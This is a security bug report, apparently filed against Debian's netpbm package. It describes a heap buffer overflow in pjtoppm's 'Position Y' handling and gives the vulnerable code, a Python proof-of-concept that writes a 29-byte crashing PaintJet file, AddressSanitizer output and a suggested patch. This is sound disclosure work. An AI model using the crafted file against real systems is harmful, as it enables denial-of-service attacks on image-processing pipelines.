<div dir="ltr">Package: netpbm<br>Version: 2:11.13.03+ds-2<br>Severity: High<br>Tags: security patch<br><br>Dear Maintainer,<br><br>pjtoppm (/usr/bin/pjtoppm) contains a heap-based buffer overflow<br>(CWE-122 / CWE-787) reachable from a single untrusted input file, with no<br>authentication or user interaction. The stock shipped binary crashes<br>with SIGSEGV; AddressSanitizer confirms an out-of-bounds heap write.<br><br>Root cause<br>----------<br>pjtoppm keeps two heap arrays, image (unsigned char **) and imlen (int *),<br>sized rowsX * planes entries and grown with REALLOCARRAY as raster rows<br>arrive (converter/ppm/pjtoppm.c:274-275). The PaintJet "Position Y" order<br>(ESC * p <n> Y) sets the current row to an attacker-supplied value and<br>zero-initialises every intermediate row WITHOUT checking that value<br>against the allocated row count rowsX:<br><br>  case 'Y':<br>      if (buffer[0] == '+') val = row + val;<br>      if (buffer[0] == '-') val = row - val;<br>      for (; val > row; ++row)<br>          for (plane = 0; plane < 3; ++plane) {<br>              imlen[row * planes + plane] = 0;       /* line 321: OOB write */<br>              image[row * planes + plane] = NULL;    /* line 322: OOB write */<br>          }<br>      row = val;<br><br>'val' is fully attacker-controlled. When val > rowsX, every write past<br>rowsX*planes is out of bounds, and the out-of-bounds extent is<br>attacker-controlled (proportional to val). The 'V'/'W' raster path is<br>hardened (uintProduct() overflow check and the row > UINT_MAX/planes-100<br>guard at line 295) but this Position path has no equivalent check.<br><br>Proof of concept<br>----------------<br>A 29-byte file:<br><br>  python3 -c '<br>  ESC = b"\033"<br>  out  = ESC + b"*b1M"                # transmission mode 1<br>  out += ESC + b"*r100S"              # raster width = 100<br>  out += ESC + b"*b2W" + b"\xff\xff"  # alloc image/imlen for rowsX(100)*planes(3); row -> 1<br>  out += ESC + b"*p100000Y"           # Position Y = 100000 -> OOB writes past the 300-entry arrays<br>  open("poc_pjtoppm.pj","wb").write(out)'<br><br>  $ pjtoppm poc_pjtoppm.pj > /dev/null<br>  Segmentation fault          (exit 139 / SIGSEGV)<br><br>Under AddressSanitizer:<br><br>  ==ERROR: AddressSanitizer: heap-buffer-overflow<br>  WRITE of size 4 at 0x... thread T0<br>      #0 main converter/ppm/pjtoppm.c:321<br>  0x... is located 0 bytes after 1200-byte region   (100 rows * 3 planes * 4 bytes)<br>  allocated by reallocProduct mallocvar.h:101 <- main pjtoppm.c:275<br>  SUMMARY: AddressSanitizer: heap-buffer-overflow converter/ppm/pjtoppm.c:321 in main<br><br>Impact<br>------<br>Unauthenticated heap out-of-bounds write triggered by a single malicious<br>PaintJet file. Any service/pipeline that runs pjtoppm on untrusted input<br>is affected. The overflow is on the heap, so stack canaries and<br>_FORTIFY_SOURCE do not mitigate it; DoS against the stock binary is<br>confirmed. The out-of-bounds extent is attacker-controlled, though the<br>written value is constrained to 0/NULL.<br><br>Suggested fix<br>-------------<br>Bound the Position target against rowsX (or grow the arrays to fit, like<br>the V/W path) before the zero-initialisation loop, and reject negative<br>val after the +/- adjustment:<br><br>  case 'Y':<br>      if (buffer[0] == '+') val = row + val;<br>      if (buffer[0] == '-') val = row - val;<br>      if (val < 0)<br>          pm_error("invalid Y position");<br>      while ((unsigned)val > rowsX) {<br>          overflow_add(rowsX, 100);<br>          rowsX += 100;<br>          REALLOCARRAY(image, uintProduct(rowsX, planes));<br>          REALLOCARRAY(imlen, uintProduct(rowsX, planes));<br>          if (image == NULL || imlen == NULL)<br>              pm_error("out of memory");<br>      }<br>      for (; val > row; ++row)<br>          for (plane = 0; plane < 3; ++plane) {<br>              imlen[row * planes + plane] = 0;<br>              image[row * planes + plane] = NULL;<br>          }<br>      row = val;<br>      break;<br><br>Notes<br>-----<br>The bug is present and reproducible in the current shipped version 2:11.13.03+ds-2.<br>I am happy to help validate a fix and to coordinate CVE assignment.<br><br>Regards,<br>Maram Sai Harsha Vardhan Reddy<br>Security Researcher<br><a href="mailto:maramsaiharsha24@gmail.com">maramsaiharsha24@gmail.com</a></div>